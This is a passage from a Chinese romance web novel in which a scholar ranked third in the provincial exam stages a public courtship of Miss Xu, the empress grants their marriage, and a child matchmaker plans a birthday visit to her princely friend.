那她跟欺负她的人,利用她达到目的的人,又有什么区别。 当然,这些不必说了,只要明确拒绝即可。 张家小姐认为自家好友可爱的要命,看着不喜说话,更不讲什么大道理,却比许多读书人都要君子。 她哪是小草,她分明是秋中菊花。 那么喜欢李书生的脸,都没有动摇她的想法。 李云敬收敛表情,开口道:“唯临利害、遇事变,然后君子之所守可见也。” 只有遇到危机时候,才能看到君子坚守的道。 李云敬再次摸摸脸:“你到底有没有用。” 关键时候派不上用场。 李锐渊捂住小宝宝的眼睛:“别看他,他的脸没用。” 人家那么看重相貌的,都把他拒绝了。 苏茵茵扒开他的手,晃了晃:“我怎么觉得,反而把他斗志点燃了啊。” 方才还在感慨的李云敬朝苏家人拱手告辞。 回家。 追人。 刚开始确实是侠义心肠,要帮帮忙。 知道是那个可爱姑娘后,觉得自己入局也无妨。 现在知道她心如君子,若要错过,那他跟落榜又有什么区别。 不,比落榜还难受。 苏茵茵眼看着原本笑眯眯的李书生把自己抖了抖,像是花孔雀一般。 “等我梳洗打扮,咱们再见。” 第34章 安盛五年,八月十六。 距离乡试放榜还有三天。 距离李云敬离开苏家,也三天了。 他一走,倒也不是了无音讯。 张姐姐先跟苏茵茵讲,李云敬竟然是朝中户部李侍郎的亲侄儿,根本不用拜帖,直接敲二伯家的门即可。 李书生的爹是上一辈中最小的,行事不羁,只有这一个孩子。 这孩子三岁认字,五岁读书,十三岁考上秀才。 若不是当初边关战乱,他爹为了投军改户籍,只怕早就考上举人,甚至进士。 故而全家对李云敬抱有很大期待。 今年允准军籍科举,家里说什么都让他去考试。 但李侍郎左等右等,侄儿就是没来。 还以为这个随自己弟弟性子的侄儿不打算考了。 谁料想,人家早就来了,而且并不在意身外之物,甚至去投奔大伯当年的下属。 为的就是考出功名,给家族一个交待,然后事了拂衣去。 好好好,都姓李,爱学李太白是吧。 李侍郎直接拧着李云敬的耳朵,让家里做好饭菜,备下衣物,直接准备了个极好的院子让他休息。 说到底,还是心疼自家亲侄儿。 此事在汴京不算秘密,毕竟李侍郎去哪都要带着他的好侄儿。 聪明,有学问,见多识广,长得更是俊美, 这般晚辈,谁会不喜欢。 那李侍郎确实如李云敬所说,想给他说门亲事。 二十三的年纪虽不说特别大,但放在其他男子身上,多半都有娃了。 只是不知为何。 过了不到一日,李侍郎便不再提起,只带着李云敬出门交际。 接下来几天里面,李云敬名字传遍社交圈。 这般儿郎,谁家不眼热。 张姐姐道:“若非是同一张脸,还真没想到。” 毕竟在慧女点心时,穿得破破烂烂,说句穷书生并不为过。 回到家中后,摇身一变,穿了绫罗绸缎不说,那气质也压得住。 兰枝玉树,翩翩公子,说的就是李云敬了。 那问题来了。 他喊着要追人。 追了吗。 张姐姐不知道啊。 许家最近不怎么出门,非重要宴会,根本不交际。 张家小姐再上门,那边也推脱病了。 另一个小姐妹央求祖母带着去许家做客,这才见到人。 许小妹精神还好,只讲家里并不高兴,估计要等三姐跟章家婚事确定,她才能出来活动。 “许家老三以为都跟她一样吗,见到男人就走不动了。”张家小姐说完,又觉得好像把自己也骂了。 她跟程郎那会,也是爱的你死我活。 可那会他们是想一起殉情啊,没见到一头上赶着的。 两人嘀嘀咕咕说了会,李锐渊道:“李书生也在上赶着。” 啊? 这就是李锐渊从他父皇那边听到的。 他爹召见户部李侍郎问政务之余,多问了句。 那李侍郎为了让侄儿露脸,好一顿夸赞不说,只是提到婚事时支支吾吾。 看来李家知道李云敬的想法,这才不再张罗婚事。 但为何不说呢? “要等放榜之后?”苏茵茵问道。 那也不对啊。 张姐姐疑惑:“如今两人身份,已经有些不对等了。” “看李书生那般才名,真的中举,许家必然高攀不上。” 结亲讲究门当户对。 差距越大,越会带来麻烦。 李家为大族,李云敬的大伯在西北做官,二伯在京城做户部侍郎。 他爹当年投军边关,官职虽然不高,却有实打实的功绩。 即便是娘家父亲,夫家公公都做到朝廷四品官员的张家小姐,在这家面前都不够看。 何况不过做官两代的许家,从五品的礼部员外郎,家世太单薄了些。 苏茵茵十分赞同。 不是不配,而是太麻烦了。 李锐渊垂眼,罕见帮李云敬说了句:“他应当另有想法。” 这倒提醒苏茵茵。 是啊,肯定有想法,那个李书生脑子灵活着呢。 马上就要放榜,只等着看吧。 八月十九,放榜当日。 慧女点心刚开门,一个衣着华贵的书生便出现在店门口。 这书生特意打扮过了,面容本就俊美的他,特意整齐了头发,带着玉簪,腰间玉佩温润,跟他的气质十分相符。 虽说八月份,手里还捏着一把纸扇,实在是风度翩翩。 谁看了都要夸一句好相貌。 几日不见,他还是那个性格。 李云敬对屋内的两个小娃娃道:“两对蝴蝶酥。” 苏茵茵爬到小凳子上,把蝴蝶酥装好,这才发现李书生接蝴蝶酥的手有点颤抖。 被原锐扶着下地,苏茵茵听李书生又道:“要不要去看热闹。” 放榜的热闹? “榜下捉婿的热闹。”李云敬深吸口气。 这几日许多宴会里,总算找到一个时机见面。 并单方面定好自己会在贡院门口等着。 只要她愿意去,那婚事今日就能成。 不愿意的话。 他再努力。 可今日,是快刀斩乱麻的最好时机。 别管什么家世名声,甚至家里的纠葛。 都能在今日解决了。 李锐渊皱眉,眼前这人竟然在赌,赌对方会不会出现。 这种事,怎么可以赌。 必须万无一失才可。 苏茵茵左右看看,这两个人都在想什么啊,全都一脸沉思。 去贡院的路上,李云敬话多的有些密,不管小娃娃能不能听的懂,反正讲了就行。 “没想到她自幼读书,读的书只怕不比我少。” “她是少见的君子。” “哎,还是要见面聊,更有效。” 上次见面,他可是铆足了劲,确实有点用。 哎,如果能天天见就好了。 每次见面,都觉得许妹妹跟旁人不同,她要是跟着自己一起游山玩水,肯定有意思。 苏茵茵不知道李书生的想法,不过见面聊还是赞同的。 颜控肯定要看脸才行啊。 若只是通信件,理智立刻占领大脑。 李锐渊默不作声,学到不少实用的“知识”。 贡院门前围了一圈又一圈的人。 考生,考生家属,以及围观的百姓,甚至还有不少等着榜下捉婿的老爷们。 苏茵茵他们三人出现,不少人立刻看过来,眼前的三人颜值太高了吧。 最年长的不用说,标准俊美书生相貌。 牵着手的两个小娃娃。 一个六七岁的样子,虽然有些瘦了,但他眼神锐利,气质不俗,肉眼可见长大绝对英挺冷俊。 另一个四五岁的女娃娃,那双大眼睛,谁看谁不喜欢啊,恨不得抱在怀里揉一揉。 这俩孩子是书生的娃? 那就不能捉回去当女婿了。 太可惜了吧! 若能把这三个一起带回家,他们也愿意啊。 李锐渊的仆从赶紧在旁边守卫,暗卫们也在占据几个合适的位置,不让人过来。 你们这些人,抢女婿就算了,怎么连娃娃也要! 李云敬没心情想那些,他正在找许小妹的身影,附近人太多,根本找不到。 又或者,她根本没来? 还是家里不让她来。 但以她的聪明,想出来并不算难。 “章郎!” 苏茵茵再次看过去。 没办法,这个名字实在有点可怕!在人群里非常非常抓耳。 “章郎,还没放榜呢,一会再去看吧。” 说话的女子跟许小妹眉眼有几分相似,个子没有许姐姐高挑。 “就他啊。” “长这样。” “呵。” 李云敬阴阳怪气。 好可怕的男人,还是靠近原锐比较好,那边都要被醋淹没了。 苏茵茵对原锐道:“确实,平平无奇了些。” 相貌是一般,可待人温和有礼,明显是好家人交出来的。 许姐姐的祖父母肯定千挑万选,才选中的章家。 “这样的人家也不错,门第没那样高,人也好。” 比李云敬先反驳的是李锐渊:“意思是让许小妹将就吗。” “这也不是将就吧?” “她喜欢英俊的,找了个不英俊的,不就是将就。”李云敬立刻道,“喜欢什么就要什么!” 苏茵茵左看右看。 好吧,这就是帅气男子的共识吗。 哎,这跟她一个小宝宝又有什么关系。 三个人凑在一起小声嘀咕,李云敬甚至要蹲下来才能跟两个小娃娃交流。 许家来了人,却不是他想见的那个。 见李书生垂头丧气,苏茵茵想了想道:“我帮你问问。” 怎么问?! 可爱宝宝苏茵茵跑到许家三小姐跟章公子面前,他们两个都不知道说什么,沉默有一会了。 苏茵茵抬头,奶声奶气道:“姐姐你是许家三小姐吗。” “我认识许五姐姐,你们长得好像哦。许五姐姐没来吗。” 就这么问! 李云敬支起耳朵听的同时,并未忽略“情敌”章公子眼前一亮,明显也想知道答案。 “不知道,我们又不住一个院。”许三小姐皱眉,在章郎面前,提什么小妹,“她大概率不会来的,昨日母亲吩咐过,让她在家好好绣花。” 这小丫头谁? 肯定不是大家小姐,根本没见过。 许三小姐翻了个白眼,想把苏茵茵推走,被跟着的仆从阻拦,先一步护住小娃娃。 苏茵茵又被李锐渊挡在身后,后者脸色明显难看。 苏茵茵并不在意这些,颇为无奈看眼李书生。 许姐姐被母亲吩咐绣花,肯定来不了吧。 “是啊,我要绣花,可惜丝线缺了一种颜色,只好出来买了。” 许小妹声音传来,她今日穿的素净,手里提着做针线的小篮子,看起来确实是路过。 章公子下意识上前想打招呼,没等他有动作,只听贡院门口有人道:“放榜啦!成绩出来了!” 放榜了! 榜前人群攒动。 又听一个声音温润的男子大声道:“小生,小生失礼了,人太多,不小心碰到姑娘你的手。” 这也能大声说? 有损许妹妹的名声。 章公子大步向前,也不去看榜,明显要去救人。 可下一秒,就听对方道:“小生一定会负责的,请问姑娘家住何处,明日便让长辈去提亲。”??? 碰一下手就要负责,还提亲?! 章公子不理解。 再酸的腐儒,也不会这样啊。 又听对方道:“哎?是你。” “当日救命之恩,实在无以回报。” “只能以身相许。” 章公子脸都黑了,这孔雀一般的男子是来碰瓷的吧。 “你这人好生无礼,认真道歉即可,竟然问姑娘家的住处,难不成知道自己落榜,所以来碰瓷?”章公子想挡在许小妹前面,却被方才的两个小娃娃正好拦住。 演了半天戏的李云敬抬头看了看榜单,身边跑过来两个红光满面的小厮。 “恭喜少爷,贺喜少爷。” “您的名字在一甲!” “一甲第三!” “是今年乡试经魁啊!” 第三名,经魁。 李云敬后退一步,朝许小妹拱手:“这个名次,想来不会辱没姑娘了。” 他们这边的动静被不少人看在眼里。 前面也还好,只讲这书生迂腐了些,好在负责任。 后面??? 你说你什么名次??? 你还要负责??? 乡试第三! 明年会试有望的! 求求了,也来碰我的手吧! 也有人认出这个好看的书生,他是不是最近风头正盛的李家子弟? 那女子愣着干嘛,赶紧答应啊。 其他榜下捉婿的老爷们,恨不得捶胸顿足,方才怎么不拉着这个俊美的书生。 长得好,学问还好,这么好的事,确实轮不到他们! 章公子眼神变得迷茫,一时间不知道该不该阻拦。 按理说应该阻拦,可又没有任何理由。 许小妹开口了:“你是那日的书生?” “你没事就好。” “是,多谢姑娘救命的蝴蝶酥,考场出来,饿到差点晕倒。” 说着说着,李云敬甚至脸红了:“巧的是,这蝴蝶酥还是北市小红娘家的点心。” “想来,想来果真是缘分吧。” 小红娘苏茵茵本人看得正热闹,没想到自己也参与其中。 但演到这了,只能“惊愕”道:“啊?看来真的是天作之合呀。” 呵。 她演技有点浮夸了。 苏茵茵戳戳原锐。 原锐冷着脸道:“真是天作之合呀。” 好了,这才叫演技浮夸。 西市放榜当日,最引人注目的并非今年第一第二的举人,反而是第三名李云敬。 他长得本就好,身边又有两个相貌出众的小娃娃。 更别说他还被“榜下捉婿”了! “听说了吗,他本来要去看成绩,谁料不小心碰到路过去买丝线的小女娘。” “谁会不知道啊,那小女娘还救过他,说是出考场时差点饿晕,小女娘给了他一包点心,这才把他救回来。” “若不是有那个小女娘,别说中举了,人都要没了。” “这么说来,竟然如此相配。” “也不知道家世如何,今年新晋的举人,第三名,那女娘合适吗?” “更神奇的还在后面。” “小女娘给他的点心,你猜是哪家的?” “不会是西市那家的?” “对!慧女点心的,小红娘家的!” 最后一句话出来,众人不再多说,齐声道:“那没事了!” “肯定绝配!” 苏茵茵默默鄙视李书生。 她的名声也是中间的一环啊。 如此带了“传奇”色彩的故事,瞬间传遍整个京城,借着科举的名气一路直通朝野。 反正在外人看来。 这段姻缘真的太神奇啦! 实际也确实如此。 两人确实因慧女点心结缘,更因为苏茵茵才知道对方的事。 但苏茵茵当时还是小声问了许姐姐:“姐姐你之前不是拒绝了吗,怎么答应过来了。” 李云敬支起耳朵,他大概知道问题的答案,可还是想听。 为何? 许小妹这边情况也很复杂。 那日从慧女点心回家之后,母亲跟三姐有意无意拘她在家中,无事不得出门。 总之要等章家跟许家婚事定下再说。 好像是章家那边并不太愿意,要等到乡试放榜之后再说。 这点很正常,大多考生都会在考试成绩公布之后,再聊婚姻大事。 所以她要被关到乡试结束。 这本也没什么。 反正她嫁给谁都差不多。 可李云敬不行。 这种主动救她,古道热肠的人,反而不适合卷进来。 可惜了,他长得着实英俊。 许小妹狠心拒绝,但不到两日,在闺中的她都听说最近各种宴会上,李云敬大出风头,他甚至是陇西李氏子弟,是户部侍郎亲侄儿。 许小妹并未觉得可惜,她在家安心读书。 直到许家一个必须要去的宴会上,母亲带着家中姊妹前去,便看到李云敬。 看到他第一眼,许小妹眼睛有些挪不动。 他生得本就好,如今又像孔雀开屏一般。 好在她在这人群里并不显得突出,不少人都看得眼睛发亮。 离得远都如此,李云敬故意躲着人来找她,许小妹更是咬着牙回话。 明知道自己好看,还故意凑过来,这是做什么! 一边跟理智抗争,一边又觉得长得这么好的人还是要多看两眼。 最后李云敬说出让她放榜当日去贡院门口。 李书生自然没问什么,你母亲不让你出门,你怎么出去这种话。 如此聪明的许妹妹,根本不用担心这些细枝末节。 说罢,许小妹抬头正眼看他。 这一看,理智开始松动。 “我怎么就有这个毛病呢。”许小妹跟苏茵茵叹气。 不过她没能说太多,因为三姐在一旁黑着脸,还有章公子表情错愕。 因为李书生那场戏,她跟三姐要赶紧回家,否则这戏就不妙了。 她走了才能继续演下去。 许三小姐黑着脸,事情完全出乎她的意料。 她跟母亲不让五妹出门,就是怕章郎看到五妹,到时候婚事更难定下。 即使她跟母亲都知道,以前祖父母在的时候,教五妹读书,每次科举总会带她来看热闹。 可两人依旧不准。 反正过了这段时间就好。 谁知道五妹还是来了! 章郎也看到她! 可是先一步要跟五妹定婚事的,却是李侍郎的侄儿?! 这李书生她见过不止一次,宴会上极为出众,对女子有礼却不靠近,至今没有女子成功跟他搭上话。 现在呢? 现在说因为小红娘,因为巧合,被“榜下捉婿”了? 他还询问自家的地址,要去提亲?! 五妹她也配? 别说五妹,整个许家谁都不配。 要是人家回头反悔,大家不会笑话李侍郎家,只会笑话她们! 许小妹岂会不知道这个道理,所以她才要走啊。 毕竟事情到现在,她只跟苏茵茵说了几句话,半点都没回复李书生。 此时不走更待何时。 许三小姐上前,明显要婉拒,却被许小妹拉着道:“三姐,我们快些回家吧。” 别解释啊,越解释越麻烦。 章公子适时出现,护着许家姐妹离开,看他的样子,恨不得拽着人就跑。 贡院门前人极多,真让他们走了。 李云敬“愣”在原地,久久没有回神。 好好好,演技达人就是你。 总之贡院门前的热闹,让无数人津津乐道。 也有人问。 那女子走了,怎么知道她是谁? 这不简单。 小红娘在这啊。 她明显认识那女子,也认识李书生,只是不知道这里面的事。 有她在中间,李书生回家就向二伯提起此事,提完这事才说了句:“对了,我考中举人了,第三名。” 李侍郎冷笑。 装。 再给我装。 戏却要全套,李侍郎道:“竟然有这种巧合,此事交给你二伯母,待乡试宴结束,便让她亲自登门,看看那家女子是否有婚配。” 苏茵茵知道后,心道,这桩婚事八九不离十了。 小红娘名声最有用的一次! 但要真的能成,那还挺好的。 至少比嫁到贞节牌坊家要好得多。 不过两人情况复杂,还是因为门第的差距。 还好李书生跟许小妹都聪明,将此事化为美谈。 即使这样,或许还会有波澜。 苏茵茵感叹道:“门第差距还真是不一样。” 不说古代了,现代也一样。 夫子刚从贡院出来的李锐渊还没开学,听着若有所思,看了看小宝宝后,悄悄转移话题:“没关系,听说宫里知道这件事了。” 啊? 皇宫? 苏茵茵下意识看向皇城方向。 虽说住在京城,皇城就在那,但苏茵茵一直没有真实感,毕竟皇亲国戚离他们太远啦。 李锐渊继续道:“皇后娘娘人很好,她听到这样的事,说不定会赐婚。” 苏茵茵震惊。 真的假的? 完全不知情的皇后娘娘,压根不知道她第二天早上就赐婚了。 就连李侍郎被召见时,都觉得摸不着头脑。 等他从皇宫出来,深吸口气。 侄儿这婚事,好得很啊! 是真的好! 等李云敬来问,李侍郎道:“皇上说,皇后娘娘听说你们的事,觉得姻缘天定,机缘巧合,所以要给你们赐婚。” 皇上特意找他过去,就是问问自家臣子愿不愿意。 总的来说,里子面子都给到了。 不出意外的话,那礼部的小小员外郎,也被问了几句。 可赐婚这种天大的喜事,谁会拒绝? 哪个臣子会拒绝?! 一直成竹在胸的李云敬头一回摸不着头脑。 皇宫还管这事啊。 随后兴奋道:“如此,便更顺理成章了!” 许小妹的反应也差不多。 她知道事情能成,却不知道最后却是这个结局。 李家,许家,上下喜气洋洋。 再也没人说身份差距云云。 都天定了,都皇后娘娘赐婚了。 谁敢反对? 是要跟老天爷作对吗! 是要跟皇后娘娘作对吗! 原本还在感慨门第的苏茵茵更是傻眼。 这,这也行? 再这样下去,她真的要怀疑自己是小红娘转世了! 享受最后一天“假期”的李锐渊开口道:“皇后娘娘不在意这些。” “她从不在意门第差距。” “她还说过,只要两人情投意合,便是最好的姻缘。” 苏茵茵又看向皇城。 竟然是这样吗。 皇后娘娘人真好哎。 总觉得哪里怪,但又说不出来呢。 第35章 李家,许家婚事定下。 两家不约而同,把婚事要用的点心,喜饼等物,定在西市不起眼的小店里。 无论从谁的角度看。 这桩皇后赐婚的姻缘,都跟小红娘有关系,肯定要在她家定下。 李云敬的二伯母一边跟许家接触,另一边则让李侍郎写信回陇西,此事肯定要告知孩子爹娘。 估计李云敬爹娘接到信时,全都一头雾水。 一头雾水的何止男方爹娘。 女方家里更是不知道说什么。 最高兴的,莫过于许员外郎,他不过从五品的官员,何德何能攀上李侍郎家的亲侄儿。 更别说还有皇后赐婚。 前院高兴,后宅气氛有些奇怪。 要说不满,那肯定不存在。 这样好的婚事,谁家都会开心。 但更多的,还是觉得疑惑。 为什么啊? 许家主母心里觉得,她家三个女儿,怎么偏偏是小女儿姻缘最好。 无论她祖父母想定下的章家,还是如今的李家,竟然都是家里女儿拔尖的。 她心中极好的三女儿四女儿,怎么就没有这种运气。 这种别扭的心理,冲淡不少喜悦,下人们也不敢多说。 可惜别扭归别扭,这事谁也更改不了。 李家可不是章家那么好说话。 他们能跟李家夫人往来,也都因为许小妹的缘故。 许小妹住在祖父母之前的院子里,主屋封存,她在旁边的屋子看书。 自从贡院放榜之后,她几乎没出过屋门。 并非有人禁足,只是懒得出去,赐婚圣旨下来,她的诧异才是真的。 赐婚? 她跟李书生,竟然被皇后娘娘赐婚?! 许小妹眼里透着迷茫,她有点摸不着头脑啊。 不管怎么说,现在许家跟李家都在准备婚事,她真要嫁给李书生了? 许小妹有点脸红。 别的不说,那人是真英俊。 也挺好的。 许小妹这里多高兴,许家三小姐那边就有多生气。 她这几日,每日在母亲面前哭,许家主母心疼得厉害。 可这种事也不好劝。 知道女儿心里不满,也没什么办法,只好安慰:“这样也好,她婚事定下之前,能把你跟章家的事说成。” 那章家本来犹犹豫豫,现在不用犹豫了。 谁料想,章家那边竟然传出,今年二甲二十七名的新进举人章少爷,在同别家议亲。 这? 这是怎么回事?! 等许家主母亲自登门,那边才隐晦道,他家本就是跟许家祖父母商议,商议的人是谁不必多说。 他们当初想早点定下婚事,你家不同意,如今好女子姻缘天定有更好的人家,也不能拦着他们再寻好姑娘吧。 话里话外说的都隐晦。 章家也委屈啊。 他们跟许家接触,就是因为当初长辈们的交际,再说许小妹饱读诗书,人是不爱说话,可知书达理,他家也觉得不错。 所以许家丁忧结束,他家边上门说项。 你家却不想嫁小女儿,要嫁三女儿,推脱那么久不给回信,想让他们半推半就。 现在事情这样,已经不必多言。 章家是明事理的,知道跟许小妹没关系,更知道差点因为此事,让好好的小姑娘嫁到五百里外。 可面对许家主母,便有些埋怨的意思。 糊涂偏心的人,养出来的女儿能好吗? 所以别说了,大家各回各家,再找良缘吧。 京城那样大,还能找不到一家好儿媳了。 章家如此做,已经是体面人的最后倔强。 苏茵茵听着张姐姐跟她八卦,又道:“那许姐姐怎么办,她还要在家里生活啊。” “所以我想着,经常喊她出来玩,不在家里待着。”张姐姐说完,又有点不好意思,“但我不太方便,就想到你了,你多找她出去玩呀。” 不方便? 苏茵茵歪头看她。 张姐姐忍不住揉揉她的小脸:“真希望我的宝宝跟你一样可爱。” 宝宝?! 苏茵茵看向张姐姐的肚子。 里面有小宝宝了? 那确实要小心的。 苏茵茵呼吸都变得小心翼翼,生怕打扰到肚子里的宝宝。 张姐姐心软得不行,谁不想要这样的孩子啊。 没过多久,当值回来的程公子过来,他看起来稳重不少,但望向妻子的时候,眼睛亮亮的。 当初殉情都要在一起的两个人,如今不仅组建家庭,还要有孩子了。 不管是他们两个,还是程张两家,都为此感到高兴。 虽说两家长辈还是政见不合,但为了孩子们,能坐在一起说话了,这就是个进步! 张姐姐把邀请许姐姐的重任交给她,苏茵茵自然放在心上。 再过几天就是大果姐姐跟杨力的婚宴,到时候喊她一起来好啦。 李书生听说此事,那是一定要来的。 婚宴当日,苏家不仅全家到齐,后面还跟了一串人。 大果对此很是欢迎,婚宴嘛,一定要热热闹闹的。 再说天定姻缘的两个人都来了,那也是喜气。 李书生跟许小妹被赐婚后头一次见面,难免有点紧张。 特别是许小妹,没见对方的时候还好,见到之后,总觉得浑身不自在。 她确实想嫁帅气男子。 没想到真的能嫁啊。 李书生似乎看出她的想法,震惊道:“叶公好龙?!” 苏茵茵直接笑出声。 这说的没错啊。 许小妹幽幽道:“典故是假的,我的感受是真的。” 意思是,别类比了,没法比。 苏茵茵又忍不住笑。 完了,她看两人斗嘴都能看一整天。 李锐渊在旁边剥些水果,没碰吃食,只看着小宝宝笑。 他病恹恹的,最近身体有些不舒服。 苏茵茵让人端来热茶给他,还道:“你是不是要走了?” 李锐渊迟疑片刻,点头:“嗯,快了。” 现在八月底,天气已经渐渐转凉。 按照往年惯例,九月下旬就要去温泉山庄。 苏茵茵揉揉李锐渊肚子,小声道:“那你要多吃饭哦。” 他会努力的。 两个小朋友你照顾我,我照顾你,看得人好笑又温馨。 许小妹挪不开眼。 她本就颜控。 两个小宝宝在一起,就是双倍吸引。 李云敬咬牙切齿。 靠了二十多年的脸,竟然输给两个小孩。 大果家的宴席就在果园里面,办得简单热闹。 入赘的婚礼,高堂坐着的肯定是女方爹娘。 至于杨力的家人,甚至都没出现。 这并不影响婚事的喜庆。 附近几个果园老板都过来庆祝,甚至有些人想,自家女儿有出息,儿子却不会管果园,要不然他们也招赘? 看起来也跟平常人家没区别啊。 众人的讨论,让苏家夫妇俩看向女儿。 有女儿的人家,谁会不心动。 这样就能让女儿一直留在自家身边了。 哥哥苏显更是点头。 没错,这样妹妹就可以留在家里,他可以养妹妹一辈子。 李锐渊淡定把水果放在小宝宝面前,一个字也没说。 进入九月,汴京天气逐渐转凉。 李云敬爹娘的回复终于到了。 两人从信里知道前因后果,皆是欣喜若狂,感谢皇后娘娘赐婚,又说此事全权托付给二伯一家。 总之一个意思。 孩子想成亲就是好事! 这么好的姻缘,一定要抓住了! 看来这俩人没少为李书生的婚事操心。 最后才寥寥说了几句,考上举人很好,他爹也能安心不少。 又说明年会试考完再回家就行,家里一切都好。 有了这封信,两家正式进入婚事流程。 苏茵茵感觉,自己刚吃过大果姐姐家的喜酒,估计很快就是许姐姐的了。 九月中旬,两人婚事时间确定。 等到明年会试结束,五月份成亲,在京城办过喜事之后,两人一起去陇西。 李云敬没事就给许小妹写信,写的都是他沿途看到的风光。 大概意思就是,成亲之后,他们两个一边游山玩水,一边回家,玩个一两年都没问题。 许小妹对此颇为心动,甚至提前去学骑马,到时候一起出去玩。 还能这样! 苏茵茵都羡慕了! 等她长大了,她也要出去游山玩水! 上辈子好多地方都没去过,这辈子一定要试试! 几方一合计,李锐渊又把宁郡王家的园子借过来,带着大家一起去马场练习。 一直到九月末,他竟然还没离开京城。 其他人并不清楚此事,只有苏茵茵有些奇怪。 她向来有什么说什么,避开人后问道:“原锐,你今年要走吗?” 去年这会,他已经不在汴京了呀。 苏茵茵只道他极为怕冷,虽不知为什么,还是有些担心。 最近一段时间,有不少人都在劝他去温泉山庄。 特别是皇后,每晚他都在噩梦中惊醒,吃饭也变得极为困难。 前几个月好不容易养的肉,最近差不多都没了。 李锐渊沉默片刻,七岁的小娃娃眼下有些疲惫,只道:“就这几日了。” “那你生辰时,还是不在京城吗。”苏茵茵又问。 李锐渊生辰在十月二十八,还有一个月。 七岁的小朋友默默点头。 不能再拖了,日渐寒冷的天气,让他身体愈发不好,晚上总被噩梦惊醒。 前几个月养出来的肉,最近一段时间都没了。 苏茵茵拉住他的手:“没关系,等天气好点了我们再一起玩。” 作为关系最好的小伙伴,苏茵茵一直在注意原锐的情况,知道他要去温暖的地方,还偷偷松口气。 不能看着他这么瘦下去! 好不容易养出来的肉啊! 看得她有点点心痛。 李锐渊不知道小宝宝在担心她,还强撑着小脸:“园子你们可以继续用,等天气暖和了,咱们一起去打猎。” 打猎! 她想去! 看着小宝宝高兴,李锐渊才笑了笑。 茵茵开心最重要! 他也能带小宝宝游山玩水! 等他去换骑装,苏茵茵故意磨磨蹭蹭,走到原锐仆从身边。 这个仆从名唤郭展,今年十七,一直在太子身边伺候。 苏茵茵跟他也很熟悉了,但故意背着原锐跟他说话,还是头一回:“郭展哥哥,原锐要去的地方,离京城是不是很近呀。” 去年那会两个小娃娃通信,来回不过五日时间。 苏茵茵认真算了算,距离应该不远的。 当时郭展还送过信,他自然知道。 郭展点头:“回茵茵姑娘,是不远的,怎么了?” 个子小小的茵茵宝宝朝他招招手,示意他侧耳听,她要偷偷得说。 “就是,到时候方不方便我去呀。” “我想给原锐送生辰礼物。” “在生日当天送,给他一个惊喜。” 这? 这合适吗? 仆从郭展一时反应不过来。 他也不知道方不方便。 毕竟,毕竟那是皇家别院。 而且来回五日,还是大冷天的,茵茵宝宝会吃苦的。 但郭展又不好拒绝。 因为他知道,若茵茵宝宝去了,殿下一定会很开心。 郭展只好道:“小的要回去跟老爷夫人禀告,方能答复您。” 苏茵茵很理解,乖乖点头,继续小小声:“不要告诉原锐,成了是惊喜,不成也不会失望。” 两人说定,有了共同的秘密。 这是苏茵茵认真考虑过的。 自己生辰的时候,原锐送了那样好的礼物,漂亮到闪耀的小蝴蝶,至今还是她最喜欢的腰坠。 可她根本送不起那样好的东西。 既然金钱比不过,那就比心意! 苏茵茵准备在原锐生日当天去找他,当面给他庆祝生日。 她还准备好生辰礼物,希望原锐喜欢。 小伙伴对自己生辰那样用心,她也要这样。 郭展心道,怪不得殿下那样喜欢小宝宝,这样的小宝宝谁不喜欢啊。 又可爱又乖。 可惜他这辈子不能有孩子啊。 想哭。 郭展回宫后,将此事禀告皇后娘娘,皇后自然惊喜,点头道:“这简单,到时候让行宫的人谨言慎行即可。” “只是那会怕是要下雪,多给孩子准备点厚衣裳送去。” “多好的孩子啊。” 若不是最近事多,她真想早点看到小茵茵。 只是乡试结束,又有百官考核,然后便是过年,开年还有会试。 她跟皇上正发愁孩子生辰,甚至过年都没法一起。 现在生辰有茵茵陪着,他们也就放心了。 得到准信的苏茵茵收到一大包礼物,全都是最厚实的衣物,还有上好炭火,就怕她路上冷。 苏家夫妇这次并未推辞。 早就答应女儿去给原锐过生辰是一回事,怕她路上冷又是一回事。 看对方家里准备妥当,倒是安心不少。 原锐离开京城后,天气确实越来越冷,苏茵茵倒是很忙,每日不是跟许姐姐出去玩,就是跟着娘亲去各家送喜饼。 说起来,她家点心生意越来越不好,喜饼买卖却越来越稳定。 不是慧女点心的东西不好吃,而是用现代的话来说。 市场太卷了! 所有的点心铺,几乎每个月都要推新品上市! 各种点心琳琅满目。 要说去年那会,苏茵茵就觉察出这种趋势,今年更加明显。 好在日子能过得去,苏家夫妇也不着急。 他们最近要忙的有两件事。 一个是十月份西城兵马司的年底考核。 苏副使跟在火禁司指挥使身边有半年时间,这次考核尤为重要。 只有这次考核成绩为上上,方能升到正七品。 到了正七品,才能在指挥使退休之后,接替他老人家的位置。 苏副使本就是严肃的性子,最近一段时间更威严了。 便是在家吃饭,都恨不得挺直腰板,一言一行,堪称军中典范。 升职加薪。 谁不想啊! 苏副使一脸严肃握着自家娘子的手:“从七品的岁俸为十二石麦,正七品有十五石,我一定要升迁。” 谁家升迁为那点麦? 苏副使就为这点麦。 让家人吃饱,是他的责任。 苏娘子宽慰:“往年你的考核都是上上,今年肯定可以的。” 她相公平日当差多用心,她是知道的。 无论上司下属,没人说句不好。 话是如此,该紧张还是紧张。 苏茵茵每日见爹爹回来,总会第一个迎接,抱住爹爹道:“爹你回来了。” 这也是苏副使最放松的时候。 软软乖乖的女儿抱住他,一天的烦恼都没了。 家里除了苏副使紧张。 苏显同样如此。 这就是苏家第二件事,童试。 如今十月份,再有三个多月,他就要考秀才。 今年十一岁明年十二岁的苏显头一次科考,肯定紧张。 苏茵茵没事就在哥哥书桌前帮他磨墨,考试加油! 好在这件事被李书生看在眼里,没事的时候干脆过来带他读书。 他的婚事都是苏家帮忙促成的,辅导功课,对他来说简单得很。 问题是,真的简单吗? 慧女点心店内。 李云敬黑着脸讲课。 就没见过那么简单的问题,苏显怎么就听不懂! 苏显也黑着脸,能不能不要跳着讲,他根本没学到,童试也不考这个! 苏茵茵听着两个学霸学习,本能维护哥哥:“讲课不要超纲啊,考什么学什么,不对吗?” “不对。”李书生义正言辞。 “对。”外面的人认真回答。 苏茵茵三人齐刷刷看向店外。 许小妹朝三人挥挥手,李书生刷一下站起来,瞪大眼睛:“怎么跟他一起过来的?” 方才说对的那人,大家都认识。 甚至苏茵茵都见过。 章公子。 差点跟许姐姐定亲那个。 怪不得李书生反应那样大。 “路上遇到的。”许小妹说完,被李书生拉着袖子走到一边。 俊美书生一脸焦急,许小妹笑眯眯的,很快顺好毛。 “他过来有正事。” 什么正事? 苏显苏茵茵两个小脑袋凑一起,兄妹两个心里好像有答案了。 来他们店里,还能有什么事。 “哥,我怕。”苏茵茵靠着哥哥肩膀。 